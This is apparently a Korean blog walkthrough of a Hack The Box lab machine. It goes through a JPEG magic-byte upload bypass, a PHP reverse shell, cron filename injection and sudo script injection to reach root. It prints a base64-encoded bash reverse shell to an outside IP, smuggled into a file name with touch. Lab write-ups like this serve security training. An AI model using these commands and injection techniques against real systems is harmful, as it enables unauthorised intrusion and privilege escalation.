정보 수집 (Enumeration)

rustscan으로 열린 포트를 빠르게 스캔한다.

rustscan -a 10.129.54.177 -- -sC -sV -oN nmap

 

주요 포트는 22(SSH), 80(HTTP)이다. 80번 포트에 접속하면 기본 웹페이지가 나타난다.

gobuster로 숨겨진 디렉터리를 탐색한다.

gobuster dir -u http://10.129.54.177/ -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster

 

gobuster 결과 /backup/uploads 경로가 발견된다.

 

/backup 디렉터리에 접속하면 backup.tar 파일이 존재한다.

 

 

backup.tar를 다운로드해 압축을 풀면 upload.php, lib.php 등 소스코드를 확인할 수 있다.

 

 

upload.php의 소스코드이다. check_file_type() 함수를 사용해 MIME 타입과 확장자를 검증한다.

 

 

check_file_type() 함수는 lib.php에 존재한다. mime_content_type()으로 MIME 타입만 검사하고 파일 실제 내용은 검증하지 않는다.

 

 

photos.php에서는 업로드된 파일의 리스트를 볼 수 있다. 현재 기본 파일의 리스트이다.

 

 

사진 업로드 폼 페이지(upload.php)다. 해당 페이지에서 사진 파일을 업로드할 수 있다.

 

만약 파일의 업로드에 성공할 경우 다음과 같은 메시지가 표시된다.

 

photos.php에서 업로드된 이미지 목록을 확인할 수 있다.

초기 침투 (RCE) — 파일 업로드 우회 → apache

앞서 MIME 타입만 검사하는 것을 확인했으므로, JPEG 매직 바이트를 활용해 파일을 위장하면 이 검증을 우회할 수 있다. JPEG 파일 포맷은 매직 바이트 FF D8 FF E0로 시작하므로, PHP 리버스 쉘 앞에 이 바이트를 붙여 .php.jpeg 확장자로 저장하면 서버는 이를 이미지로 허용하지만 PHP 인터프리터가 파일을 실행한다. 업로드 후 /uploads 경로로 직접 접근해 PHP를 트리거한다.

 

이제 실제로 쉘코드를 제작해보자. PHP 쉘코드는 해당 경로의 쉘코드를 사용하였다.

echo 'ff d8 ff e0 00' | xxd -p -r > simple-backdoor.php.jpeg
cat simple.php >> simple-backdoor.php.jpeg

 

 

완성된 리버스 쉘이다.

 

 

JPEG 매직 바이트로 위장한 PHP 파일을 업로드하면 성공 메시지가 출력된다.

 

/uploads 경로에 업로드된 파일이 확인된다.

 

nc 리스너를 열어둔 상태에서 업로드된 파일에 즉시 접근해 리버스 쉘을 트리거한다.

 

 

리버스 쉘이 연결되어 apache 쉘을 획득했다.

 

/etc/passwd를 확인해 시스템에 등록된 계정을 파악한다. guly (uid 1000) 계정이 존재함을 확인할 수 있다.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
guly:x:1000:1000:guly:/home/guly:/bin/bash
saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin

 

 

권한 이동 — cron 파일명 인젝션 → guly

apache쉘에서 내부 열거를 진행한다. guly 계정의 홈 디렉터리에서 cron job과 PHP 스크립트가 발견된다.

 

crontab.guly에 따르면 3분마다 /home/guly/check_attack.php가 실행된다.

 

check_attack.php/var/www/html/uploads 디렉터리를 스캔해 파일 목록을 가져온 뒤 파일명을 exec()로 그대로 실행하는 구조다. 파일명에 세미콜론(;)을 삽입하면 임의 명령을 주입할 수 있다.

 

리버스 쉘 명령을 base64로 인코딩한 후, 세미콜론(;)으로 구분된 명령이 담긴 파일명을 touch/var/www/html/uploads에 생성한다.

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.15.247/4444 0>&1'" | base64
# YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNDcvNDQ0NCAwPiYxJw==

touch "a; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNDcvNDQ0NCAwPiYxJw== | base64 -d | bash"

 

 

nc 리스너를 열어둔 상태에서 3분 후 cron이 트리거되면 check_attack.php가 이 파일명을 exec()로 실행해 리버스 쉘이 연결된다.

 

 

 

권한 상승 (LPE) — changename.sh 인젝션 → root

guly 쉘에서 sudo -l을 확인하면 /usr/local/sbin/changename.sh를 root 권한으로 비밀번호 없이 실행할 수 있다.

 

 

 

스크립트는 사용자 입력을 받아 /etc/sysconfig/network-scripts/ifcfg-guly 파일에 키=값 형태로 작성한 후 ifup guly0를 호출한다.

 

 

공백이 포함된 값을 입력하면 공백 이후의 문자열이 root로 실행되어 root 쉘이 떨어진다.

 

'HTB' 카테고리의 다른 글

HTB - Keeper  (0) 2026.08.17
HTB - Soccer  (0) 2026.08.16
HTB - Broker  (0) 2026.07.30
HTB - Servmon  (0) 2026.07.22
HTB - Help  (0) 2026.07.18

+ Recent posts